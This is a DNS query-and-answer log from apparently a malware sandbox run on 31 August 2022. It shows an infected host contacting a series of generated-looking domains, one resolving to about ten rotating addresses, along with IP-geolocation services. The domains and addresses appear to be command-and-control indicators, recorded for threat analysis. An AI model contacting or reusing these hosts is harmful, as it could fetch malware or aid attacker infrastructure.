Aug 31, 2022 14:28:04.276590109 CEST	192.168.2.4	8.8.8.8	0x4ec7	Standard query (0)	monsutiur4.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:12.288501978 CEST	192.168.2.4	8.8.8.8	0x53c8	Standard query (0)	nusurionuy5ff.at	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:12.321556091 CEST	192.168.2.4	8.8.8.8	0xb9f	Standard query (0)	moroitomo4.net	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:12.446846008 CEST	192.168.2.4	8.8.8.8	0xabcb	Standard query (0)	susuerulianita1.net	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:12.759671926 CEST	192.168.2.4	8.8.8.8	0xcebd	Standard query (0)	cucumbetuturel4.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:12.802923918 CEST	192.168.2.4	8.8.8.8	0x77f1	Standard query (0)	nunuslushau.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:12.858303070 CEST	192.168.2.4	8.8.8.8	0xeae8	Standard query (0)	linislominyt11.at	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:17.260394096 CEST	192.168.2.4	8.8.8.8	0xc5f	Standard query (0)	linislominyt11.at	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:22.789989948 CEST	192.168.2.4	8.8.8.8	0xadf8	Standard query (0)	linislominyt11.at	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:24.375603914 CEST	192.168.2.4	8.8.8.8	0x735f	Standard query (0)	linislominyt11.at	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:30.835664988 CEST	192.168.2.4	8.8.8.8	0x7558	Standard query (0)	linislominyt11.at	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:32.317863941 CEST	192.168.2.4	8.8.8.8	0x89ea	Standard query (0)	linislominyt11.at	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:33.544296980 CEST	192.168.2.4	8.8.8.8	0x28a3	Standard query (0)	stylesheet.faseaegasdfase.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:37.665652037 CEST	192.168.2.4	8.8.8.8	0x628c	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:43.919315100 CEST	192.168.2.4	8.8.8.8	0x1b6f	Standard query (0)	linislominyt11.at	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:44.789319038 CEST	192.168.2.4	8.8.8.8	0xe5ac	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:44.965657949 CEST	192.168.2.4	8.8.8.8	0x24f5	Standard query (0)	linislominyt11.at	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:46.219463110 CEST	192.168.2.4	8.8.8.8	0xfe22	Standard query (0)	www.hhiuew33.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:46.707216024 CEST	192.168.2.4	8.8.8.8	0xa8a9	Standard query (0)	i.xyzgamei.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:47.353985071 CEST	192.168.2.4	8.8.8.8	0x9159	Standard query (0)	b.game2723.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:48.163633108 CEST	192.168.2.4	8.8.8.8	0xc995	Standard query (0)	www.hhiuew33.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:48.853230000 CEST	192.168.2.4	8.8.8.8	0x9767	Standard query (0)	linislominyt11.at	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:50.023022890 CEST	192.168.2.4	8.8.8.8	0x5bd7	Standard query (0)	linislominyt11.at	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:50.797708035 CEST	192.168.2.4	8.8.8.8	0x59ee	Standard query (0)	www.hhiuew33.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:51.476799965 CEST	192.168.2.4	8.8.8.8	0x7c17	Standard query (0)	amrhomedecor.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:52.044946909 CEST	192.168.2.4	8.8.8.8	0x31b	Standard query (0)	www.amrhomedecor.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:53.204540968 CEST	192.168.2.4	8.8.8.8	0xe563	Standard query (0)	www.hhiuew33.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:54.649497986 CEST	192.168.2.4	8.8.8.8	0xa9e5	Standard query (0)	linislominyt11.at	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:56.649763107 CEST	192.168.2.4	8.8.8.8	0xfb17	Standard query (0)	linislominyt11.at	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:57.190591097 CEST	192.168.2.4	8.8.8.8	0xf5f4	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:58.067202091 CEST	192.168.2.4	8.8.8.8	0xd0a3	Standard query (0)	trustnero.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:58.742688894 CEST	192.168.2.4	8.8.8.8	0xf7e3	Standard query (0)	fakermet.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:01.880131960 CEST	192.168.2.4	8.8.8.8	0xb627	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:02.423942089 CEST	192.168.2.4	8.8.8.8	0x915c	Standard query (0)	www.hhiuew33.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:02.904901028 CEST	192.168.2.4	8.8.8.8	0xf675	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:03.212629080 CEST	192.168.2.4	8.8.8.8	0x4314	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:04.207926989 CEST	192.168.2.4	8.8.8.8	0x5017	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:04.416116953 CEST	192.168.2.4	8.8.8.8	0xfddf	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:05.530038118 CEST	192.168.2.4	8.8.8.8	0x20bb	Standard query (0)	www.hhiuew33.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:05.539931059 CEST	192.168.2.4	8.8.8.8	0x67f	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:06.041954041 CEST	192.168.2.4	8.8.8.8	0xba9	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:06.213087082 CEST	192.168.2.4	8.8.8.8	0xea1a	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:07.068264961 CEST	192.168.2.4	8.8.8.8	0x1f4	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:07.265393972 CEST	192.168.2.4	8.8.8.8	0x1243	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:07.514025927 CEST	192.168.2.4	8.8.8.8	0x32fa	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:07.724942923 CEST	192.168.2.4	8.8.8.8	0x42fa	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:07.910516024 CEST	192.168.2.4	8.8.8.8	0x21ad	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:08.016887903 CEST	192.168.2.4	8.8.8.8	0xf264	Standard query (0)	linislominyt11.at	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:08.264936924 CEST	192.168.2.4	8.8.8.8	0x95e8	Standard query (0)	www.hhiuew33.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:08.347785950 CEST	192.168.2.4	8.8.8.8	0x1d26	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:08.585213900 CEST	192.168.2.4	8.8.8.8	0x2940	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:08.863193989 CEST	192.168.2.4	8.8.8.8	0x96e9	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:09.369344950 CEST	192.168.2.4	8.8.8.8	0xfe8a	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:09.680969000 CEST	192.168.2.4	8.8.8.8	0xaa14	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:09.844358921 CEST	192.168.2.4	8.8.8.8	0xf409	Standard query (0)	linislominyt11.at	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:10.164985895 CEST	192.168.2.4	8.8.8.8	0x7ae8	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:10.450727940 CEST	192.168.2.4	8.8.8.8	0x2b52	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:10.753581047 CEST	192.168.2.4	8.8.8.8	0x281b	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:12.583493948 CEST	192.168.2.4	8.8.8.8	0x761d	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:12.869988918 CEST	192.168.2.4	8.8.8.8	0x3797	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:13.113887072 CEST	192.168.2.4	8.8.8.8	0x7b90	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:13.407284975 CEST	192.168.2.4	8.8.8.8	0x5226	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:13.659648895 CEST	192.168.2.4	8.8.8.8	0xe633	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:15.768984079 CEST	192.168.2.4	8.8.8.8	0x55b6	Standard query (0)	www.hhiuew33.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:15.969746113 CEST	192.168.2.4	8.8.8.8	0xab9b	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:16.158250093 CEST	192.168.2.4	8.8.8.8	0x39ce	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:16.639728069 CEST	192.168.2.4	8.8.8.8	0x45e4	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:16.888216019 CEST	192.168.2.4	8.8.8.8	0xe917	Standard query (0)	linislominyt11.at	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:16.967510939 CEST	192.168.2.4	8.8.8.8	0xea43	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:17.235233068 CEST	192.168.2.4	8.8.8.8	0xa5d5	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:17.846187115 CEST	192.168.2.4	8.8.8.8	0xbab5	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:17.883280993 CEST	192.168.2.4	8.8.8.8	0xd455	Standard query (0)	linislominyt11.at	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:19.217293024 CEST	192.168.2.4	8.8.8.8	0x7735	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:19.422750950 CEST	192.168.2.4	8.8.8.8	0xa145	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:19.626490116 CEST	192.168.2.4	8.8.8.8	0xf77a	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:19.859713078 CEST	192.168.2.4	8.8.8.8	0xb63a	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:24.569143057 CEST	192.168.2.4	8.8.8.8	0x55aa	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:25.164227962 CEST	192.168.2.4	8.8.8.8	0x8115	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:25.539402962 CEST	192.168.2.4	8.8.8.8	0x3da6	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:25.988481998 CEST	192.168.2.4	8.8.8.8	0x26af	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:26.787393093 CEST	192.168.2.4	8.8.8.8	0x41c4	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:27.567163944 CEST	192.168.2.4	8.8.8.8	0xa5c7	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:28.195739031 CEST	192.168.2.4	8.8.8.8	0xc809	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:28.879165888 CEST	192.168.2.4	8.8.8.8	0x4b04	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:29.865426064 CEST	192.168.2.4	8.8.8.8	0x8561	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:31.130192041 CEST	192.168.2.4	8.8.8.8	0x853d	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:31.995363951 CEST	192.168.2.4	8.8.8.8	0x23ff	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:32.870820045 CEST	192.168.2.4	8.8.8.8	0x1d10	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:33.760837078 CEST	192.168.2.4	8.8.8.8	0xcb49	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:34.224363089 CEST	192.168.2.4	8.8.8.8	0x4672	Standard query (0)	azd.at	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:43.640438080 CEST	192.168.2.4	8.8.8.8	0xe56b	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:50.633183956 CEST	192.168.2.4	8.8.8.8	0xaba5	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:58.794414997 CEST	192.168.2.4	8.8.8.8	0x3c87	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:30:02.404927015 CEST	192.168.2.4	8.8.8.8	0xda6	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:30:05.799845934 CEST	192.168.2.4	8.8.8.8	0x1387	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:30:09.695591927 CEST	192.168.2.4	8.8.8.8	0xa854	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:30:12.378706932 CEST	192.168.2.4	8.8.8.8	0x58ff	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:30:14.696775913 CEST	192.168.2.4	8.8.8.8	0x2728	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:30:22.629057884 CEST	192.168.2.4	8.8.8.8	0x906d	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:30:33.373907089 CEST	192.168.2.4	8.8.8.8	0x4f67	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:30:43.962348938 CEST	192.168.2.4	8.8.8.8	0x123a	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 14:30:50.229444027 CEST	192.168.2.4	8.8.8.8	0x74a0	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Aug 31, 2022 14:28:04.604726076 CEST	8.8.8.8	192.168.2.4	0x4ec7	No error (0)	monsutiur4.com		185.237.206.60	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:12.310751915 CEST	8.8.8.8	192.168.2.4	0x53c8	Name error (3)	nusurionuy5ff.at	none	none	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:12.428885937 CEST	8.8.8.8	192.168.2.4	0xb9f	Name error (3)	moroitomo4.net	none	none	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:12.748526096 CEST	8.8.8.8	192.168.2.4	0xabcb	Name error (3)	susuerulianita1.net	none	none	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:12.794074059 CEST	8.8.8.8	192.168.2.4	0xcebd	Name error (3)	cucumbetuturel4.com	none	none	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:12.849620104 CEST	8.8.8.8	192.168.2.4	0x77f1	Name error (3)	nunuslushau.com	none	none	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:13.191250086 CEST	8.8.8.8	192.168.2.4	0xeae8	No error (0)	linislominyt11.at		186.182.55.44	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:13.191250086 CEST	8.8.8.8	192.168.2.4	0xeae8	No error (0)	linislominyt11.at		24.232.210.245	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:13.191250086 CEST	8.8.8.8	192.168.2.4	0xeae8	No error (0)	linislominyt11.at		190.167.100.154	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:13.191250086 CEST	8.8.8.8	192.168.2.4	0xeae8	No error (0)	linislominyt11.at		187.190.48.135	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:13.191250086 CEST	8.8.8.8	192.168.2.4	0xeae8	No error (0)	linislominyt11.at		37.34.248.24	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:13.191250086 CEST	8.8.8.8	192.168.2.4	0xeae8	No error (0)	linislominyt11.at		31.166.129.162	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:13.191250086 CEST	8.8.8.8	192.168.2.4	0xeae8	No error (0)	linislominyt11.at		210.92.250.133	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:13.191250086 CEST	8.8.8.8	192.168.2.4	0xeae8	No error (0)	linislominyt11.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:13.191250086 CEST	8.8.8.8	192.168.2.4	0xeae8	No error (0)	linislominyt11.at		190.140.74.43	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:13.191250086 CEST	8.8.8.8	192.168.2.4	0xeae8	No error (0)	linislominyt11.at		58.235.189.192	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:17.586203098 CEST	8.8.8.8	192.168.2.4	0xc5f	No error (0)	linislominyt11.at		37.34.248.24	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:17.586203098 CEST	8.8.8.8	192.168.2.4	0xc5f	No error (0)	linislominyt11.at		31.166.129.162	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:17.586203098 CEST	8.8.8.8	192.168.2.4	0xc5f	No error (0)	linislominyt11.at		210.92.250.133	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:17.586203098 CEST	8.8.8.8	192.168.2.4	0xc5f	No error (0)	linislominyt11.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:17.586203098 CEST	8.8.8.8	192.168.2.4	0xc5f	No error (0)	linislominyt11.at		190.140.74.43	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:17.586203098 CEST	8.8.8.8	192.168.2.4	0xc5f	No error (0)	linislominyt11.at		58.235.189.192	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:17.586203098 CEST	8.8.8.8	192.168.2.4	0xc5f	No error (0)	linislominyt11.at		186.182.55.44	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:17.586203098 CEST	8.8.8.8	192.168.2.4	0xc5f	No error (0)	linislominyt11.at		24.232.210.245	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:17.586203098 CEST	8.8.8.8	192.168.2.4	0xc5f	No error (0)	linislominyt11.at		190.167.100.154	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:17.586203098 CEST	8.8.8.8	192.168.2.4	0xc5f	No error (0)	linislominyt11.at		187.190.48.135	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:23.063829899 CEST	8.8.8.8	192.168.2.4	0xadf8	No error (0)	linislominyt11.at		210.92.250.133	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:23.063829899 CEST	8.8.8.8	192.168.2.4	0xadf8	No error (0)	linislominyt11.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:23.063829899 CEST	8.8.8.8	192.168.2.4	0xadf8	No error (0)	linislominyt11.at		190.140.74.43	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:23.063829899 CEST	8.8.8.8	192.168.2.4	0xadf8	No error (0)	linislominyt11.at		58.235.189.192	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:23.063829899 CEST	8.8.8.8	192.168.2.4	0xadf8	No error (0)	linislominyt11.at		186.182.55.44	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:23.063829899 CEST	8.8.8.8	192.168.2.4	0xadf8	No error (0)	linislominyt11.at		24.232.210.245	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:23.063829899 CEST	8.8.8.8	192.168.2.4	0xadf8	No error (0)	linislominyt11.at		190.167.100.154	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:23.063829899 CEST	8.8.8.8	192.168.2.4	0xadf8	No error (0)	linislominyt11.at		187.190.48.135	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:23.063829899 CEST	8.8.8.8	192.168.2.4	0xadf8	No error (0)	linislominyt11.at		37.34.248.24	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:23.063829899 CEST	8.8.8.8	192.168.2.4	0xadf8	No error (0)	linislominyt11.at		31.166.129.162	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:24.393352032 CEST	8.8.8.8	192.168.2.4	0x735f	No error (0)	linislominyt11.at		210.92.250.133	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:24.393352032 CEST	8.8.8.8	192.168.2.4	0x735f	No error (0)	linislominyt11.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:24.393352032 CEST	8.8.8.8	192.168.2.4	0x735f	No error (0)	linislominyt11.at		190.140.74.43	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:24.393352032 CEST	8.8.8.8	192.168.2.4	0x735f	No error (0)	linislominyt11.at		58.235.189.192	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:24.393352032 CEST	8.8.8.8	192.168.2.4	0x735f	No error (0)	linislominyt11.at		186.182.55.44	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:24.393352032 CEST	8.8.8.8	192.168.2.4	0x735f	No error (0)	linislominyt11.at		24.232.210.245	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:24.393352032 CEST	8.8.8.8	192.168.2.4	0x735f	No error (0)	linislominyt11.at		190.167.100.154	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:24.393352032 CEST	8.8.8.8	192.168.2.4	0x735f	No error (0)	linislominyt11.at		187.190.48.135	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:24.393352032 CEST	8.8.8.8	192.168.2.4	0x735f	No error (0)	linislominyt11.at		37.34.248.24	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:24.393352032 CEST	8.8.8.8	192.168.2.4	0x735f	No error (0)	linislominyt11.at		31.166.129.162	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:31.106060028 CEST	8.8.8.8	192.168.2.4	0x7558	No error (0)	linislominyt11.at		186.182.55.44	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:31.106060028 CEST	8.8.8.8	192.168.2.4	0x7558	No error (0)	linislominyt11.at		24.232.210.245	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:31.106060028 CEST	8.8.8.8	192.168.2.4	0x7558	No error (0)	linislominyt11.at		190.167.100.154	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:31.106060028 CEST	8.8.8.8	192.168.2.4	0x7558	No error (0)	linislominyt11.at		187.190.48.135	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:31.106060028 CEST	8.8.8.8	192.168.2.4	0x7558	No error (0)	linislominyt11.at		37.34.248.24	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:31.106060028 CEST	8.8.8.8	192.168.2.4	0x7558	No error (0)	linislominyt11.at		31.166.129.162	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:31.106060028 CEST	8.8.8.8	192.168.2.4	0x7558	No error (0)	linislominyt11.at		210.92.250.133	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:31.106060028 CEST	8.8.8.8	192.168.2.4	0x7558	No error (0)	linislominyt11.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:31.106060028 CEST	8.8.8.8	192.168.2.4	0x7558	No error (0)	linislominyt11.at		190.140.74.43	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:31.106060028 CEST	8.8.8.8	192.168.2.4	0x7558	No error (0)	linislominyt11.at		58.235.189.192	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:32.338202953 CEST	8.8.8.8	192.168.2.4	0x89ea	No error (0)	linislominyt11.at		186.182.55.44	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:32.338202953 CEST	8.8.8.8	192.168.2.4	0x89ea	No error (0)	linislominyt11.at		24.232.210.245	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:32.338202953 CEST	8.8.8.8	192.168.2.4	0x89ea	No error (0)	linislominyt11.at		190.167.100.154	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:32.338202953 CEST	8.8.8.8	192.168.2.4	0x89ea	No error (0)	linislominyt11.at		187.190.48.135	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:32.338202953 CEST	8.8.8.8	192.168.2.4	0x89ea	No error (0)	linislominyt11.at		37.34.248.24	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:32.338202953 CEST	8.8.8.8	192.168.2.4	0x89ea	No error (0)	linislominyt11.at		31.166.129.162	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:32.338202953 CEST	8.8.8.8	192.168.2.4	0x89ea	No error (0)	linislominyt11.at		210.92.250.133	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:32.338202953 CEST	8.8.8.8	192.168.2.4	0x89ea	No error (0)	linislominyt11.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:32.338202953 CEST	8.8.8.8	192.168.2.4	0x89ea	No error (0)	linislominyt11.at		190.140.74.43	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:32.338202953 CEST	8.8.8.8	192.168.2.4	0x89ea	No error (0)	linislominyt11.at		58.235.189.192	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:33.568065882 CEST	8.8.8.8	192.168.2.4	0x28a3	No error (0)	stylesheet.faseaegasdfase.com		85.209.157.230	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:37.686990023 CEST	8.8.8.8	192.168.2.4	0x628c	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:43.936963081 CEST	8.8.8.8	192.168.2.4	0x1b6f	No error (0)	linislominyt11.at		210.92.250.133	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:43.936963081 CEST	8.8.8.8	192.168.2.4	0x1b6f	No error (0)	linislominyt11.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:43.936963081 CEST	8.8.8.8	192.168.2.4	0x1b6f	No error (0)	linislominyt11.at		190.140.74.43	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:43.936963081 CEST	8.8.8.8	192.168.2.4	0x1b6f	No error (0)	linislominyt11.at		58.235.189.192	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:43.936963081 CEST	8.8.8.8	192.168.2.4	0x1b6f	No error (0)	linislominyt11.at		186.182.55.44	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:43.936963081 CEST	8.8.8.8	192.168.2.4	0x1b6f	No error (0)	linislominyt11.at		24.232.210.245	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:43.936963081 CEST	8.8.8.8	192.168.2.4	0x1b6f	No error (0)	linislominyt11.at		190.167.100.154	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:43.936963081 CEST	8.8.8.8	192.168.2.4	0x1b6f	No error (0)	linislominyt11.at		187.190.48.135	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:43.936963081 CEST	8.8.8.8	192.168.2.4	0x1b6f	No error (0)	linislominyt11.at		37.34.248.24	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:43.936963081 CEST	8.8.8.8	192.168.2.4	0x1b6f	No error (0)	linislominyt11.at		31.166.129.162	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:44.807733059 CEST	8.8.8.8	192.168.2.4	0xe5ac	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)
